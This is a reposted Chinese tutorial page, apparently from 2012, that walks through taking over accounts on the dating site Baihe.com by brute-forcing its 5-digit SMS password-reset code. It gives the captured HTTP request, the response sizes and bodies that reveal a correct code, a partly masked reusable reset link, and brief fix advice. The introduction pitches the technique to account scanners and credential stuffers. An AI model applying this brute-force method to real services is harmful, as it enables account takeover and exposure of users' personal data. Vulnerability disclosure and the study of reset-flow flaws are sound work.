来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 屌丝们,为了妹子们还在扫号么?还在撞库么?还在为了绕过图片验证码烦恼发愁么?光棍节即将到来,本人即将送上各大网站账号密码重置漏洞!1.是百合的主站哦,进入百合网的账号...
屌丝们,为了妹子们还在扫号么?还在撞库么?还在为了绕过图片验证码烦恼发愁么?光棍节即将到来,本人即将送上各大网站账号密码重置漏洞!
1.是百合的主站哦,进入百合网的账号登陆页面。当然我们这里不登陆,而是点击【忘记密码?】按钮,进入密码重置流程:
2.填写需要重置的账号,由于只是测试漏洞存在,这里只用了我自己的账号:
3.点击下一步,选择找回密码的方式为【注册手机找回】,当然如果认证了的话也可以选择【认证手机找回】:
4.已经给我的手机号发送了重置密码的短信码了(为了与图片验证码区别,这里成为短信码)
5.查看手机收到的短信码为【58474】,我首先输入任意的5位纯数字短信码12345,点击提交,则返回如下错误,记得此时设置好浏览器代理:
6.同时,看到的抓包请求为:
GET /ForgotPwdByMobileServlet?jsoncallback=jsonp1352425895960&checkflag=1&reqtype=2&code=12345&_=1352426000488&mobilenum=1*********9 HTTP/1.1
Host: passport.baihe.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1284.2 Safari/537.13
Accept: text/javascript, application/javascript, */*
Referer: http://passport.baihe.com/forgotPwdByRegMobile.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: tempID=8171464184; __utma=175516593.56299183.1352424945.1352424945.1352424945.1; __utmb=175516593.1.10.1352424945; __utmc=175516593; __utmz=175516593.1352424945.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); JSESSIONID=C22281DF4A91C1DE89890018C79716DA; findpwd_val=1*********9; Hm_lvt_5caa30e0c191a1c525d4a6487bf45a9d=1352424944737; Hm_lpvt_5caa30e0c191a1c525d4a6487bf45a9d=1352425904077
上面的参数code=12345为短信码,而参数mobilenum=1*********9为手机号码。
7.写了那么多,开始吧:设置好参数code为需要爆破的参数,这里由于是测试我从59400开始暴力猜测
8.通过返回的字节数或者返回的内容得出正确的短信码:
短信码错误时,返回的字节数为436,而短信码正确时字节数为634
从内容上判断,短信码错误时返回内容为:
HTTP/1.1 200 OK
Date: Fri, 09 Nov 2012 01:57:47 GMT
Server: baihe_passport_60/2.0.63 (Unix) mod_jk/1.2.30
X-Powered-By: Servlet 2.4; JBoss-4.0.3SP1 (build: CVSTag=JBoss_4_0_3_SP1 date=200510231054)/Tomcat-5.5
Connection: close
Content-Length: 65
Cache-Control: max-age=86400
Expires: Sat, 10 Nov 2012 01:57:47 GMT
Content-Type: text/json;charset=gbk
jsonp1352425895961({"mobilenum":"1*********9","checkresult":"0"})
短信码正确时返回内容为:
HTTP/1.1 200 OK
Date: Fri, 09 Nov 2012 01:57:59 GMT
Server: baihe_passport_60/2.0.63 (Unix) mod_jk/1.2.30
X-Powered-By: Servlet 2.4; JBoss-4.0.3SP1 (build: CVSTag=JBoss_4_0_3_SP1_pp60java2 date=200510231054)/Tomcat-5.5
Connection: close
Content-Length: 262
Cache-Control: max-age=86400
Expires: Sat, 10 Nov 2012 01:57:59 GMT
Content-Type: text/json;charset=gbk
jsonp1352425895961({"mobilenum":"1*********9","checkresult":"75526369","mobilenum_encode":"EEB0550021599CDD98D3CFC9C824665D","ed":"DCDDDFA8C838BA86065982CDB72D5B23BAC542E4842B3E9CE730A86357C964135967C4CFC05D0B2946673361B4D3F27839A6FD57ABFFE1B2C486C4E73739AD07"})
9.那么使用爆破完的短信码重置账号吧!
10.屌丝成功逆袭:
修复方案:
1.还有一个很严重的bug,一次取回账号长久可用,我的重置链接如下(怎么获得呢?),但是评估我的账号被恶意重置以及泄露个人信息的风险,隐去最后8位: www.2cto.com
http://passport.baihe.com/resetPwd.jsp?ed=DCDDDFA8C838BA86065982CDB72D5B23BAC542E4842B3E9CE730A86357C964135967C4CFC05D0B2946673361B4D3F278D8EB391C7919F918003C9ACF********
只要拿了上述链接,不用走重置密码的流程即可重新更新密码;
2.5位纯数字短信码的爆破,即平均5万次的请求,我使用了burpsuite测试单台机器100线程,4分钟即可重置任意一个手机账号!危险啊
3.短信码可以为5位纯数字,甚至可以缩短为4为纯数字;可以不设置图片验证码,甚至可以不用设置短信码的有效期。但是为什么不设置连续5次尝试失败就锁定本次密码重置的请求呢?
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com